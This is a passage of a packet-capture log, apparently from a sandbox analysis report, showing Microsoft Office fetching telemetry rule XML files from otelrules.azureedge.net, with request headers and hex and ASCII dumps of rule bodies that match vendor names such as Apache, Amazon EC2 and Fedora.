20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.7	49742	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:26 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 19:05:26 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:26 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: bfe6d614-201e-006e-7a8c-3abbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T190526Z-185f5d8b95csd4bwhC1NYCq7dc000000092000000000g0x4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 19:05:26 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.7	49743	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:26 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 19:05:26 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:26 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: a1d815ed-301e-0096-3f8c-3ae71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T190526Z-r1d97b99577tssmjhC1TEB8kan00000007pg00000000axs8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 19:05:26 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.7	49746	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:26 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 19:05:27 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:27 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: c1a1e3cb-901e-005b-1f8c-3a2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T190527Z-r1d97b9957789nh9hC1TEBxha800000007xg0000000085fv x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 19:05:27 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.7	49747	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:27 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 19:05:27 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:27 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: e456cfdf-c01e-0014-248c-3aa6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T190527Z-1777c6cb7549x5qchC1TEBggbg00000008e000000000yx3d x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 19:05:27 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.7	49744	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:27 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 19:05:27 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:27 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 62f36519-501e-0016-468c-3a181b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T190527Z-185f5d8b95csd4bwhC1NYCq7dc000000092000000000g0z7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 19:05:27 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.7	49745	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:27 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 19:05:27 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:27 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 7511d71d-801e-0083-6e8c-3af0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T190527Z-1777c6cb754xjpthhC1TEBexs800000008a000000000grs0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-19 19:05:27 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.7	49748	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:27 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 19:05:27 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:27 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: 5b8b83f7-201e-0033-0b8c-3ab167000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T190527Z-185f5d8b95cwtv72hC1NYC141w000000095000000000125w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 19:05:27 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.7	49749	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:28 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 19:05:28 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:28 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: a1cdeef9-f01e-0020-348c-3a956b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T190528Z-185f5d8b95cwtv72hC1NYC141w00000008zg00000000wef7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 19:05:28 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.7	49750	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:28 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 19:05:28 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:28 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 0514cbb3-901e-00ac-0281-3ab69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T190528Z-r1d97b99577d6qrbhC1TEBux5s00000007x000000000au4b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 19:05:28 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.7	49752	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:28 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 19:05:28 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:28 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: b82dc135-b01e-0053-1a8c-3acdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T190528Z-r1d97b99577kk29chC1TEBemmg00000007t000000000fq28 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 19:05:28 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.7	49751	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:28 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 19:05:28 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:28 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: 7511da03-801e-0083-3b8c-3af0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T190528Z-185f5d8b95c9mqtvhC1NYCghtc000000096g00000000h9ex x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 19:05:28 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.7	49753	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:28 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 19:05:28 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:28 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: bdf96f18-c01e-0066-808c-3aa1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T190528Z-185f5d8b95cwtv72hC1NYC141w000000091000000000n2zp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
